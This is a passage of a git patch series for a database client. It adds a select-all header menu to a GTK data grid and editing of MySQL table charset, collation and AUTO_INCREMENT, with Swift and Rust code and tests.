@@ -6,7 +6,7 @@ use gtk4::prelude::*;
 use gtk4::{self as gtk, glib, pango};
 
 use super::tracked_values::RowPendingState;
-use super::{DataGrid, GridRow};
+use super::{DataGrid, GridRow, grid_menu};
 
 /// Icon, spacing and the cell's padding beside the digits.
 const CHROME_PX: i32 = 16 + 4 + 13;
@@ -56,6 +56,7 @@ pub fn build(grid: &DataGrid) -> gtk::ColumnViewColumn {
     let column = gtk::ColumnViewColumn::builder()
         .title(crate::i18n::pgettext("row number column", "#"))
         .factory(&factory)
+        .header_menu(&grid_menu::row_numbers_header_menu())
         .resizable(false)
         .build();
     column.set_id(Some("row-numbers"));
diff --git a/linux/crates/app/src/ui/data_grid/selection.rs b/linux/crates/app/src/ui/data_grid/selection.rs
index 5942c51ea1..463a02b80b 100644
--- a/linux/crates/app/src/ui/data_grid/selection.rs
+++ b/linux/crates/app/src/ui/data_grid/selection.rs
@@ -83,6 +83,26 @@ impl DataGrid {
         }
     }
 
+    /// Every row, with the keyboard on the rows so the keys that act on
+    /// the selection reach them: a header's menu leaves the focus where it
+    /// was.
+    pub(crate) fn select_all_rows(&self) {
+        self.selection().select_all();
+        match self.focused_cell() {
+            // An open editor gives the keyboard up as it does to a click
+            // on its cell, which ends the edit.
+            Some(cell) if self.edit().editor_has_focus() => {
+                if let Some(focusable) = cell.parent() {
+                    focusable.grab_focus();
+                }
+            }
+            Some(_) => {}
+            None => {
+                self.column_view().grab_focus();
+            }
+        }
+    }
+
     pub(crate) fn selected_rows(&self) -> Vec<GridRow> {
         let selection = self.selection();
         let bitset = selection.selection();
diff --git a/linux/crates/app/src/ui/data_grid/tests/menus.rs b/linux/crates/app/src/ui/data_grid/tests/menus.rs
index 375600132d..b210c0b632 100644
--- a/linux/crates/app/src/ui/data_grid/tests/menus.rs
+++ b/linux/crates/app/src/ui/data_grid/tests/menus.rs
@@ -5,7 +5,8 @@ use tablepro_core::Value;
 use tablepro_core::edit::CellInput;
 
 use super::{
-    accel_of, action_names, cell_menu, close_menus, data_column, keyed, menu_actions, none, press, submenu, text,
+    accel_of, action_names, cell_menu, close_menus, data_column, keyed, menu_actions, none, press, selected_ids,
+    submenu, text,
 };
 use crate::test_support::{FocusThief, after_next_frame, drain_main_context, wait_until};
 use crate::ui::data_grid::test_grid::{
@@ -249,6 +250,52 @@ fn a_page_under_a_closed_menu_then_a_focus_in_keeps_the_focus_in_the_grid() {
     assert!(focus_in_grid(&grid), "the focus left the grid");
 }
 
+/// The header gives the rows the keys that act on a selection, wherever
+/// the focus was.
+#[gtk4::test]
+fn the_row_number_headers_menu_selects_every_row() {
+    let grid = people();
+    let header = grid
+        .grid
+        .row_numbers_column()
+        .and_then(|column| column.header_menu())
+        .expect("the row number header's menu");
+    gtk::prelude::GtkWindowExt::set_focus(&grid.window, None::<&gtk::Widget>);
+
+    grid.activate("select-all");
+
+    assert_eq!(action_names(&header), ["grid.select-all", "grid.columns"]);
+    assert_eq!(
+        accel_of(&header, "grid.select-all"),
+        Some(Some("<Primary>a".to_owned()))
+    );
+    assert_eq!(selected_ids(&grid), [1, 2]);
+    wait_until(WAIT, || focus_in_grid(&grid)).expect("the focus stayed off the rows");
+}
+
+/// The editor ends its edit, keeping what was typed, and the keys go to
+/// the rows rather than to its text.
+#[gtk4::test]
+fn select_all_rows_takes_the_keyboard_from_an_open_editor() {
+    let grid = people();
+    let cell = grid.focus(0, 1);
+    assert!(grid.grid.edit().edit_cell(&cell), "the cell took no edit");
+    grid.grid.edit().open_text().expect("the editor").set_text("Ada L.");
+    wait_until(WAIT, || grid.grid.edit().editor_has_focus()).expect("the editor takes the keyboard");
+
+    grid.activate("select-all");
+
+    assert_eq!(selected_ids(&grid), [1, 2]);
+    wait_until(WAIT, || {
+        grid.grid.edit().editing_cell().is_none() && grid.focused_cell().is_some()
+    })
+    .expect("the editor kept the keyboard");
+    assert_eq!(
+        grid.tracker.cell_overlay(&key(1), 1).pending,
+        Some(CellInput::Value(Value::Text("Ada L.".to_owned())))
+    );
+}
+
 #[gtk4::test]
 fn the_space_below_the_rows_offers_insert_and_paste_where_rows_can_be_added() {
     let table = two_text_rows();

From ba6dbc4a8a084e625bfb0dd263a4589fd2fbe8e4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 10:52:34 +0700
Subject: [PATCH 18/44] feat(structure): edit MySQL table charset, collation
 and AUTO_INCREMENT (#3866)

---
 .../MySQLCreateTableScanner.swift             |  22 +
 .../MySQLCreateTableOptionsTests.swift        |  78 +++
 .../PluginColumnCheckTests.swift              |  86 +++
 .../PluginTableOptionsDefaultsTests.swift     |  53 ++
 .../MySQLDriverPlugin/MySQLColumnChecks.swift | 250 +++++++++
 .../MySQLColumnDefinitionSQL.swift            |  87 ++-
 .../MySQLCreateTableSQL.swift                 |   4 +-
 .../MySQLPluginDriver+CreateDatabase.swift    |  60 +--
 .../MySQLPluginDriver+DatabaseMetadata.swift  |   6 +-
 .../MySQLPluginDriver+Schema.swift            |  10 +-
 .../MySQLPluginDriver+TableOptions.swift      | 171 ++++++
 .../MySQLDriverPlugin/MySQLPluginDriver.swift |  29 +-
 .../MySQLDriverPlugin/MySQLTableOptions.swift | 186 +++++++
 .../MySQLColumnChecksTests.swift              | 213 ++++++++
 .../MySQLColumnDefinitionSQLTests.swift       |  81 ++-
 .../MySQLCreateTableTests.swift               |  13 +
 .../MySQLTableOptionsTests.swift              | 284 ++++++++++
 .../TableProPluginKit/PluginColumnInfo.swift  |  57 ++
 .../PluginDatabaseDriver.swift                |  14 +
 .../PluginTableOptions.swift                  |  77 +++
 .../TableProPluginKit/SchemaTypes.swift       |  50 ++
 .../Compare/SchemaSyncScriptBuilder.swift     |  18 +-
 .../Core/Compare/SyncSafetyClassifier.swift   |  10 +-
 .../Core/Database/DatabaseDriver.swift        |  22 +
 .../DatabaseObjectToolEligibility.swift       |  13 +-
 .../Core/Plugins/PluginDriverAdapter.swift    |  20 +
 .../Core/Plugins/PluginObjectMapping.swift    |  36 +-
 .../SchemaOperationRefusal.swift              |   9 +-
 .../SchemaStatementGenerator.swift            |  65 ++-
 .../StructureChangeManager.swift              | 138 ++++-
 .../ERDiagram/ERDiagramStagedOverlay.swift    |   3 +-
 apple/TablePro/Models/Query/QueryResult.swift |   7 +-
 .../Models/Schema/ColumnDefinition.swift      |  24 +-
 .../Schema/CreateTableDraftBuilder.swift      |   8 +-
 .../Models/Schema/CreateTableOptions.swift    |  93 ++--
 .../Schema/ReadIdentifiedDefinition.swift     |   2 +-
 .../TablePro/Models/Schema/SchemaChange.swift |  32 ++
 .../TablePro/Models/Schema/StructureTab.swift |   5 +-
 .../TablePro/Models/Schema/TableOptions.swift | 142 +++++
 .../TablePro/Resources/Localizable.xcstrings  |  67 +++
 .../Structure/ColumnCharacterSetMenus.swift   | 198 +++++++
 .../Views/Structure/CreateTableDraft.swift    |  92 +++-
 .../Structure/CreateTableGridAdapter.swift    |  72 ++-
 .../Views/Structure/CreateTableView.swift     |  82 ++-
 .../Views/Structure/StructureEditGate.swift   |   2 +-
 .../StructureEditingSession+Apply.swift       |   1 +
 .../StructureEditingSession+Baseline.swift    |   4 +-
 .../Structure/StructureEditingSession.swift   |  65 ++-
 .../Structure/StructureEditingSupport.swift   |  21 +-
 .../Structure/StructureFooterPolicy.swift     |   6 +-
 .../StructureGridAdapter+Inspector.swift      |   2 +-
 .../StructureGridAdapter+Menus.swift          |   8 +-
 .../Structure/StructureGridAdapter.swift      |  80 ++-
 .../Structure/StructureGridSupport.swift      |  55 +-
 .../StructureInspectorRowBuilder.swift        |   2 +-
 .../Structure/StructureRowProvider.swift      |  22 +-
 .../Structure/StructureServerSupport.swift    |   2 +-
 .../Structure/StructureTabAvailability.swift  |  13 +-
 .../StructureTableOptionsLoading.swift        |  74 +++
 .../StructureTableOptionsPolicy.swift         |  32 ++
 .../StructureTableRebuildHandler.swift        |   3 +-
 .../Views/Structure/TableOptionsForm.swift    | 102 ++++
 .../Views/Structure/TableOptionsView.swift    | 281 ++++++++++
 .../Structure/TableStructureLoader.swift      |  57 +-
 .../TableStructureView+DataLoading.swift      |  27 +-
 .../TableStructureView+TableOptions.swift     |  46 ++
 .../Views/Structure/TableStructureView.swift  |   7 +-
 .../TableOptionsEligibilityTests.swift        | 101 ++++
 ...uctureChangeManagerTableOptionsTests.swift | 360 +++++++++++++
 ...ctureEditingSessionTableOptionsTests.swift | 175 +++++++
 .../TableOptionsStatementTests.swift          | 263 ++++++++++
 .../Helpers/PluginStructureFixtures.swift     |   3 +-
 .../Schema/CreateTableDraftBuilderTests.swift | 101 ++++
 .../Models/Schema/SchemaChangeTests.swift     |  16 +
 .../Models/Schema/TableOptionsTests.swift     | 216 ++++++++
 .../ColumnCharacterSetMenusTests.swift        | 211 ++++++++
 .../StructureEditingSessionTests.swift        |   2 +-
 .../StructureFooterPolicyTests.swift          |   2 +-
 .../StructureGridAdapterAddRowTests.swift     |   4 +-
 .../StructureInspectorRowBuilderTests.swift   |   2 +-
 .../StructureTabAvailabilityTests.swift       |  20 +
 .../Structure/TableOptionsFormTests.swift     | 139 +++++
 apple/changelog.d/3866.added.1.md             |   1 +
 apple/changelog.d/3866.added.md               |   1 +
 apple/changelog.d/3866.fixed.1.md             |   1 +
 apple/changelog.d/3866.fixed.2.md             |   1 +
 apple/changelog.d/3866.fixed.3.md             |   1 +
 apple/changelog.d/3866.fixed.4.md             |   1 +
 apple/changelog.d/3866.fixed.5.md             |   1 +
 apple/changelog.d/3866.fixed.6.md             |   1 +
 apple/changelog.d/3866.fixed.md               |   1 +
 linux/changelog.d/3866.added.1.md             |   1 +
 linux/changelog.d/3866.added.md               |   1 +
 linux/changelog.d/3866.fixed.1.md             |   1 +
 linux/changelog.d/3866.fixed.md               |   1 +
 .../app/src/services/pending_structure.rs     | 147 ++++--
 .../app/src/services/structure_tracker.rs     |   1 +
 .../services/structure_tracker_registry.rs    |   1 +
 linux/crates/app/src/ui/error_text/ddl.rs     |  13 +-
 linux/crates/app/src/ui/error_text/tests.rs   |  28 +
 .../app/src/ui/error_text/unsupported.rs      |   2 +
 .../app/src/ui/session_window/tests/mod.rs    |   1 +
 .../ui/structure_tab/character_set_choices.rs | 241 +++++++++
 .../ui/structure_tab/character_set_fetch.rs   |  77 +++
 .../src/ui/structure_tab/column_handlers.rs   |   8 +
 .../app/src/ui/structure_tab/columns.rs       | 100 +++-
 .../app/src/ui/structure_tab/columns_input.rs |   7 +
 .../app/src/ui/structure_tab/context.rs       |  64 ++-
 linux/crates/app/src/ui/structure_tab/imp.rs  |  14 +
 .../crates/app/src/ui/structure_tab/layout.rs |   2 +
 .../app/src/ui/structure_tab/load_handlers.rs |  74 ++-
 linux/crates/app/src/ui/structure_tab/mod.rs  |  36 +-
 .../app/src/ui/structure_tab/review_dialog.rs |  23 +
 .../app/src/ui/structure_tab/save_gate.rs     |   3 +
 .../app/src/ui/structure_tab/save_handlers.rs |   2 +
 .../app/src/ui/structure_tab/sql_preview.rs   |  19 +-
 .../src/ui/structure_tab/structure_command.rs |  15 +-
 .../src/ui/structure_tab/structure_fetch.rs   |   1 +
 .../ui/structure_tab/structure_tab_input.rs   |  11 +-
 .../ui/structure_tab/structure_tab_widgets.rs |   2 +
 .../src/ui/structure_tab/table_handlers.rs    |   9 +
 .../app/src/ui/structure_tab/table_input.rs   |   7 +
 .../app/src/ui/structure_tab/table_options.rs | 256 +++++++++
 .../crates/app/src/ui/structure_tab/tests.rs  | 380 +++++++++++++-
 linux/crates/app/src/ui/workspace/import.rs   |   1 +
 .../crates/app/src/ui/workspace/structure.rs  |   1 +
 .../app/src/ui/workspace/tests/tab_title.rs   |   1 +
 .../app/src/workspace/test_workspace.rs       |   2 +
 linux/crates/app/tests/accessibility/main.rs  |   1 +
 linux/crates/core/src/connection.rs           |  12 +-
 linux/crates/core/src/ddl/change_review.rs    |  22 +-
 .../crates/core/src/ddl/changed_attributes.rs |  11 +-
 linux/crates/core/src/ddl/character_set.rs    |   9 +
 .../core/src/ddl/column_capabilities.rs       |   3 +
 linux/crates/core/src/ddl/ddl_capabilities.rs |   7 +
 linux/crates/core/src/ddl/ddl_operation.rs    |   7 +
 .../crates/core/src/ddl/destructive_change.rs |   9 +
 linux/crates/core/src/ddl/diff_table.rs       |  33 +-
 linux/crates/core/src/ddl/draft_column.rs     |  26 +-
 .../core/src/ddl/draft_table_options.rs       |  33 ++
 linux/crates/core/src/ddl/mod.rs              |   8 +
 linux/crates/core/src/ddl/refusal_reason.rs   |   4 +
 linux/crates/core/src/ddl/table_changes.rs    | 147 ++++--
 linux/crates/core/src/ddl/table_definition.rs |   6 +-
 linux/crates/core/src/ddl/table_draft.rs      |   9 +-
 linux/crates/core/src/ddl/table_options.rs    |  10 +
 .../core/src/ddl/table_options_change.rs      |  18 +
 linux/crates/core/src/ddl/tests.rs            | 273 ++++++++++
 linux/crates/core/src/unsupported_feature.rs  |   4 +
 linux/crates/drivers/cassandra/src/catalog.rs |   1 +
 linux/crates/drivers/cassandra/src/ddl.rs     |   3 +
 .../src/catalog/table_definition.rs           |   1 +
 linux/crates/drivers/clickhouse/src/ddl.rs    |   3 +
 .../crates/drivers/duckdb/src/catalog/mod.rs  |   1 +
 linux/crates/drivers/duckdb/src/ddl.rs        |   2 +
 .../crates/drivers/mongodb/src/connection.rs  |   1 +
 linux/crates/drivers/mssql/src/ddl.rs         |   3 +
 linux/crates/drivers/mssql/src/metadata.rs    |   1 +
 .../mysql/src/catalog/character_sets.rs       | 108 ++++
 linux/crates/drivers/mysql/src/catalog/mod.rs |   6 +
 .../mysql/src/catalog/table_options.rs        | 164 ++++++
 linux/crates/drivers/mysql/src/connection.rs  |  12 +-
 linux/crates/drivers/mysql/src/ddl/mod.rs     | 495 ++++++++++++++++--
 .../mysql/src/ddl/mysql_column_definition.rs  |  63 ++-
 linux/crates/drivers/mysql/src/dialect.rs     |  63 ++-
 linux/crates/drivers/mysql/src/metadata.rs    |  66 ++-
 .../crates/drivers/mysql/src/table_engine.rs  |  20 +-
 .../drivers/mysql/tests/integration/ddl.rs    | 227 +++++++-
 .../mysql/tests/integration/metadata.rs       |  98 +++-
 linux/crates/drivers/postgres/src/ddl.rs      |   3 +
 .../drivers/postgres/src/metadata/mod.rs      |   1 +
 linux/crates/drivers/sqlite/src/ddl/mod.rs    |   2 +
 linux/crates/drivers/sqlite/src/ddl/tests.rs  |   1 +
 linux/crates/drivers/sqlite/src/metadata.rs   |   1 +
 .../crates/test-support/src/call_counters.rs  |   1 +
 .../test-support/src/connection_script.rs     |   4 +-
 .../test-support/src/fake_connection.rs       |  15 +-
 linux/data/resources/ui/structure-tab.ui      |  58 ++
 linux/docs/adding-drivers.md                  |   5 +-
 .../0010-ddl-plans-and-table-definitions.md   |   1 +
 linux/docs/drivers/mysql.md                   |  21 +
 linux/po/POTFILES.in                          |   3 +
 182 files changed, 8709 insertions(+), 475 deletions(-)
 create mode 100644 apple/Packages/TableProCore/Tests/TableProMySQLCoreTests/MySQLCreateTableOptionsTests.swift
 create mode 100644 apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginColumnCheckTests.swift
 create mode 100644 apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginTableOptionsDefaultsTests.swift
 create mode 100644 apple/Plugins/MySQLDriverPlugin/MySQLColumnChecks.swift
 create mode 100644 apple/Plugins/MySQLDriverPlugin/MySQLPluginDriver+TableOptions.swift
 create mode 100644 apple/Plugins/MySQLDriverPlugin/MySQLTableOptions.swift
 create mode 100644 apple/Plugins/MySQLDriverTests/MySQLColumnChecksTests.swift
 create mode 100644 apple/Plugins/MySQLDriverTests/MySQLTableOptionsTests.swift
 create mode 100644 apple/Plugins/TableProPluginKit/PluginTableOptions.swift
 create mode 100644 apple/TablePro/Models/Schema/TableOptions.swift
 create mode 100644 apple/TablePro/Views/Structure/ColumnCharacterSetMenus.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureTableOptionsLoading.swift
 create mode 100644 apple/TablePro/Views/Structure/StructureTableOptionsPolicy.swift
 create mode 100644 apple/TablePro/Views/Structure/TableOptionsForm.swift
 create mode 100644 apple/TablePro/Views/Structure/TableOptionsView.swift
 create mode 100644 apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift
 create mode 100644 apple/TableProTests/Core/Database/TableOptionsEligibilityTests.swift
 create mode 100644 apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift
 create mode 100644 apple/TableProTests/Core/SchemaTracking/StructureEditingSessionTableOptionsTests.swift
 create mode 100644 apple/TableProTests/Core/SchemaTracking/TableOptionsStatementTests.swift
 create mode 100644 apple/TableProTests/Models/Schema/TableOptionsTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/ColumnCharacterSetMenusTests.swift
 create mode 100644 apple/TableProTests/Views/Structure/TableOptionsFormTests.swift
 create mode 100644 apple/changelog.d/3866.added.1.md
 create mode 100644 apple/changelog.d/3866.added.md
 create mode 100644 apple/changelog.d/3866.fixed.1.md
 create mode 100644 apple/changelog.d/3866.fixed.2.md
 create mode 100644 apple/changelog.d/3866.fixed.3.md
 create mode 100644 apple/changelog.d/3866.fixed.4.md
 create mode 100644 apple/changelog.d/3866.fixed.5.md
 create mode 100644 apple/changelog.d/3866.fixed.6.md
 create mode 100644 apple/changelog.d/3866.fixed.md
 create mode 100644 linux/changelog.d/3866.added.1.md
 create mode 100644 linux/changelog.d/3866.added.md
 create mode 100644 linux/changelog.d/3866.fixed.1.md
 create mode 100644 linux/changelog.d/3866.fixed.md
 create mode 100644 linux/crates/app/src/ui/structure_tab/character_set_choices.rs
 create mode 100644 linux/crates/app/src/ui/structure_tab/character_set_fetch.rs
 create mode 100644 linux/crates/app/src/ui/structure_tab/table_options.rs
 create mode 100644 linux/crates/core/src/ddl/character_set.rs
 create mode 100644 linux/crates/core/src/ddl/draft_table_options.rs
 create mode 100644 linux/crates/core/src/ddl/table_options.rs
 create mode 100644 linux/crates/core/src/ddl/table_options_change.rs
 create mode 100644 linux/crates/drivers/mysql/src/catalog/character_sets.rs
 create mode 100644 linux/crates/drivers/mysql/src/catalog/table_options.rs

diff --git a/apple/Packages/TableProCore/Sources/TableProMySQLCore/MySQLCreateTableScanner.swift b/apple/Packages/TableProCore/Sources/TableProMySQLCore/MySQLCreateTableScanner.swift
index 51be4f0135..24948db572 100644
--- a/apple/Packages/TableProCore/Sources/TableProMySQLCore/MySQLCreateTableScanner.swift
+++ b/apple/Packages/TableProCore/Sources/TableProMySQLCore/MySQLCreateTableScanner.swift
@@ -30,6 +30,28 @@ nonisolated public enum MySQLCreateTableScanner {
         return clauses
     }
 
+    /// The `NAME=value` options on the line that closes the column list, keyed by the upper-cased name,
+    /// or nil when the statement does not create a table. `DEFAULT CHARSET=x` is keyed `CHARSET`.
+    ///
+    /// The column list is skipped as one quote-aware group, so a column comment holding
+    /// `) AUTO_INCREMENT=7` is never read, and a quoted value such as the table comment is one token.
+    /// MariaDB under `NO_TABLE_OPTIONS` prints the line as a bare `)`, which reads as no options.
+    public static func tableOptions(fromCreateTable sql: String) -> [String: String]? {
+        let text = Substring(sql)
+        guard let header = text.split(separator: "\n", maxSplits: 1, omittingEmptySubsequences: false).first,
+              declaresTable(header),
+              let body = firstGroup(in: text),
+              body.endIndex < text.endIndex
+        else { return nil }
+        let line = text[text.index(after: body.endIndex)...].prefix { $0 != "\n" }
+        var options: [String: String] = [:]
+        for token in topLevelTokens(of: line) {
+            guard let equals = token.firstIndex(of: "="), equals > token.startIndex else { continue }
+            options[token[..<equals].uppercased()] = String(token[token.index(after: equals)...])
+        }
+        return options
+    }
+
     public static func firstGroup(in text: Substring) -> Substring? {
         var depth = 0
         var start: Substring.Index?
diff --git a/apple/Packages/TableProCore/Tests/TableProMySQLCoreTests/MySQLCreateTableOptionsTests.swift b/apple/Packages/TableProCore/Tests/TableProMySQLCoreTests/MySQLCreateTableOptionsTests.swift
new file mode 100644
index 0000000000..f208614448
--- /dev/null
+++ b/apple/Packages/TableProCore/Tests/TableProMySQLCoreTests/MySQLCreateTableOptionsTests.swift
@@ -0,0 +1,78 @@
+import Foundation
+import Testing
+
+@testable import TableProMySQLCore
+
+struct MySQLCreateTableOptionsTests {
+    @Test("The options line reads the engine, counter, character set and collation")
+    func readsTheOptionsLine() throws {
+        let sql = """
+            CREATE TABLE `orders` (
+              `id` int NOT NULL AUTO_INCREMENT,
+              `note` varchar(20) DEFAULT NULL,
+              PRIMARY KEY (`id`)
+            ) ENGINE=InnoDB AUTO_INCREMENT=42 DEFAULT CHARSET=latin1 COLLATE=latin1_bin
+            """
+        let options = try #require(MySQLCreateTableScanner.tableOptions(fromCreateTable: sql))
+        #expect(options["ENGINE"] == "InnoDB")
+        #expect(options["AUTO_INCREMENT"] == "42")
+        #expect(options["CHARSET"] == "latin1")
+        #expect(options["COLLATE"] == "latin1_bin")
+    }
+
+    @Test("A column comment or table comment holding an option is not read as one")
+    func commentsAreNotOptions() throws {
+        let sql = """
+            CREATE TABLE `t` (
+              `id` int NOT NULL AUTO_INCREMENT COMMENT ') AUTO_INCREMENT=7',
+              PRIMARY KEY (`id`)
+            ) ENGINE=InnoDB AUTO_INCREMENT=42 DEFAULT CHARSET=utf8mb4 COMMENT='x AUTO_INCREMENT=99'
+            """
+        let options = try #require(MySQLCreateTableScanner.tableOptions(fromCreateTable: sql))
+        #expect(options["AUTO_INCREMENT"] == "42")
+        #expect(options["COMMENT"] == "'x AUTO_INCREMENT=99'")
+    }
+
+    @Test("No AUTO_INCREMENT clause reads as no counter option")
+    func clauseAbsentWhenNextValueIsOne() throws {
+        let sql = """
+            CREATE TABLE `t` (
+              `id` int NOT NULL AUTO_INCREMENT,
+              PRIMARY KEY (`id`)
+            ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci
+            """
+        let options = try #require(MySQLCreateTableScanner.tableOptions(fromCreateTable: sql))
+        #expect(options["AUTO_INCREMENT"] == nil)
+        #expect(options["ENGINE"] == "InnoDB")
+    }
+
+    @Test("Partition clauses on the following lines are not options")
+    func partitionLinesAreSkipped() throws {
+        let sql = """
+            CREATE TABLE `p` (
+              `id` int NOT NULL AUTO_INCREMENT,
+              PRIMARY KEY (`id`)
+            ) ENGINE=InnoDB AUTO_INCREMENT=100 DEFAULT CHARSET=utf8mb4
+            /*!50100 PARTITION BY RANGE (`id`)
+            (PARTITION p0 VALUES LESS THAN (10) ENGINE = InnoDB) */
+            """
+        let options = try #require(MySQLCreateTableScanner.tableOptions(fromCreateTable: sql))
+        #expect(options["AUTO_INCREMENT"] == "100")
+        #expect(options.count == 3)
+    }
+
+    @Test("MariaDB under NO_TABLE_OPTIONS prints a bare closing line, which holds no options")
+    func noTableOptionsLine() throws {
+        let sql = "CREATE TABLE \"t\" (\n  \"id\" int(11) NOT NULL,\n  PRIMARY KEY (\"id\")\n)"
+        let options = try #require(MySQLCreateTableScanner.tableOptions(fromCreateTable: sql))
+        #expect(options.isEmpty)
+    }
+
+    @Test("A view's statement is not a table's", arguments: [
+        "CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`%` SQL SECURITY DEFINER VIEW `v` AS select 1 AS `1`",
+        ""
+    ])
+    func viewHasNoOptions(sql: String) {
+        #expect(MySQLCreateTableScanner.tableOptions(fromCreateTable: sql) == nil)
+    }
+}
diff --git a/apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginColumnCheckTests.swift b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginColumnCheckTests.swift
new file mode 100644
index 0000000000..bb2929d09a
--- /dev/null
+++ b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginColumnCheckTests.swift
@@ -0,0 +1,86 @@
+import Foundation
+import TableProPluginKit
+import Testing
+
+struct PluginColumnCheckTests {
+    @Test("A column's own CHECK round-trips through JSON encoding")
+    func columnCheckRoundTrip() throws {
+        let original = PluginColumnInfo(
+            name: "payload",
+            dataType: "LONGTEXT",
+            generationExpression: nil,
+            generationKind: nil,
+            ddlSpelling: nil,
+            ddlDefault: nil,
+            ddlGenerationExpression: nil,
+            ddlCollation: nil,
+            classificationTypeName: nil,
+            columnCheck: "json_valid(`payload`)"
+        )
+        let data = try JSONEncoder().encode(original)
+        let decoded = try JSONDecoder().decode(PluginColumnInfo.self, from: data)
+        #expect(decoded.columnCheck == "json_valid(`payload`)")
+    }
+
+    @Test("A payload written before the column CHECK existed decodes with none")
+    func legacyPayloadDecodesToNil() throws {
+        let legacyJson = Data("""
+        {
+            "name": "payload",
+            "dataType": "LONGTEXT",
+            "isNullable": true,
+            "isPrimaryKey": false,
+            "isGenerated": false,
+            "classificationTypeName": "JSON"
+        }
+        """.utf8)
+        let decoded = try JSONDecoder().decode(PluginColumnInfo.self, from: legacyJson)
+        #expect(decoded.columnCheck == nil)
+        #expect(decoded.classificationTypeName == "JSON")
+    }
+
+    /// The signatures every plugin built against kit 40 carries. They have to keep resolving, and keep
+    /// meaning "no check", or a driver that never read one would restate one.
+    @Test("The initializers published before the column CHECK still resolve, and set none")
+    func olderInitializersLeaveItNil() {
+        let column = PluginColumnInfo(
+            name: "n",
+            dataType: "INT",
+            generationExpression: nil,
+            generationKind: nil,
+            ddlSpelling: nil,
+            ddlDefault: nil,
+            ddlGenerationExpression: nil,
+            ddlCollation: nil,
+            classificationTypeName: nil
+        )
+        #expect(column.columnCheck == nil)
+        let definition = PluginColumnDefinition(
+            name: "n",
+            dataType: "INT",
+            generationExpression: nil,
+            generationKind: nil,
+            ddlSpelling: nil,
+            ddlDefault: nil,
+            ddlGenerationExpression: nil,
+            ddlCollation: nil
+        )
+        #expect(definition.columnCheck == nil)
+    }
+
+    @Test("A column definition carries the CHECK it was given")
+    func definitionCarriesTheCheck() {
+        let definition = PluginColumnDefinition(
+            name: "n",
+            dataType: "INT",
+            generationExpression: nil,
+            generationKind: nil,
+            ddlSpelling: nil,
+            ddlDefault: nil,
+            ddlGenerationExpression: nil,
+            ddlCollation: nil,
+            columnCheck: "`n` > 0"
+        )
+        #expect(definition.columnCheck == "`n` > 0")
+    }
+}
diff --git a/apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginTableOptionsDefaultsTests.swift b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginTableOptionsDefaultsTests.swift
new file mode 100644
index 0000000000..cc2efad021
--- /dev/null
+++ b/apple/Packages/TableProCore/Tests/TableProPluginKitTests/PluginTableOptionsDefaultsTests.swift
@@ -0,0 +1,53 @@
+import Foundation
+import TableProPluginKit
+import Testing
+
+private final class StubTableDriver: PluginDatabaseDriver, @unchecked Sendable {
+    var supportsSchemas: Bool { false }
+    var supportsTransactions: Bool { false }
+    var currentSchema: String? { nil }
+    var serverVersion: String? { nil }
+
+    func connect() async throws {}
+    func disconnect() {}
+    func ping() async throws {}
+    func execute(query: String) async throws -> PluginQueryResult {
+        PluginQueryResult(columns: [], columnTypeNames: [], rows: [], rowsAffected: 0, executionTime: 0)
+    }
+
+    func fetchTables(schema: String?) async throws -> [PluginTableInfo] { [] }
+    func fetchColumns(table: String, schema: String?) async throws -> [PluginColumnInfo] { [] }
+    func fetchIndexes(table: String, schema: String?) async throws -> [PluginIndexInfo] { [] }
+    func fetchForeignKeys(table: String, schema: String?) async throws -> [PluginForeignKeyInfo] { [] }
+    func fetchTableDDL(table: String, schema: String?) async throws -> String { "" }
+    func fetchViewDefinition(view: String, schema: String?) async throws -> String { "" }
+    func fetchTableMetadata(table: String, schema: String?) async throws -> PluginTableMetadata {
+        PluginTableMetadata(tableName: table)
+    }
+
+    func fetchDatabases() async throws -> [String] { [] }
+    func fetchDatabaseMetadata(_ database: String) async throws -> PluginDatabaseMetadata {
+        PluginDatabaseMetadata(name: database)
+    }
+}
+
+struct PluginTableOptionsDefaultsTests {
+    @Test("A driver that implements no table options reads none and writes none")
+    func defaultsAreNil() async throws {
+        let driver = StubTableDriver()
+        #expect(try await driver.fetchTableOptions(table: "t", schema: nil) == nil)
+        #expect(try await driver.fetchTableOptionsCatalog() == nil)
+        #expect(try await driver.fetchDefaultTableOptions(schema: "app") == nil)
+        let change = PluginTableOptionsChange(characterSet: "utf8mb4", collation: "utf8mb4_bin", autoIncrement: 5)
+        #expect(driver.tableOptionsStatement(table: "t", schema: nil, change: change) == nil)
+    }
+
+    @Test("A change leaves every field it is not given as it is")
+    func changeDefaultsLeaveFieldsAlone() {
+        let change = PluginTableOptionsChange()
+        #expect(change.characterSet == nil)
+        #expect(change.collation == nil)
+        #expect(!change.convertsColumns)
+        #expect(change.autoIncrement == nil)
+    }
+}
diff --git a/apple/Plugins/MySQLDriverPlugin/MySQLColumnChecks.swift b/apple/Plugins/MySQLDriverPlugin/MySQLColumnChecks.swift
new file mode 100644
index 0000000000..b573f175d0
--- /dev/null
+++ b/apple/Plugins/MySQLDriverPlugin/MySQLColumnChecks.swift
@@ -0,0 +1,250 @@
+//
+//  MySQLColumnChecks.swift
+//  MySQLDriverPlugin
+//
+//  MariaDB's CHECK written on a column: where it is read from, which column owns it, and how a
+//  MODIFY restates it.
+//
+
+import Foundation
+import os
+import TableProMySQLCore
+import TableProPluginKit
+
+/// MariaDB lists a column's own CHECK in `CHECK_CONSTRAINTS` with `LEVEL = 'Column'` and drops it on any
+/// `MODIFY` that does not restate it. Measured on 11.4: the constraint keeps the name the column had when
+/// the check was written through a rename, while the clause follows the rename, so the owner is the
+/// column whose `SHOW CREATE TABLE` line ends with the clause. A `CHANGE` that restates the clause with
+/// the new name keeps exactly one check.
+internal enum MySQLColumnChecks {
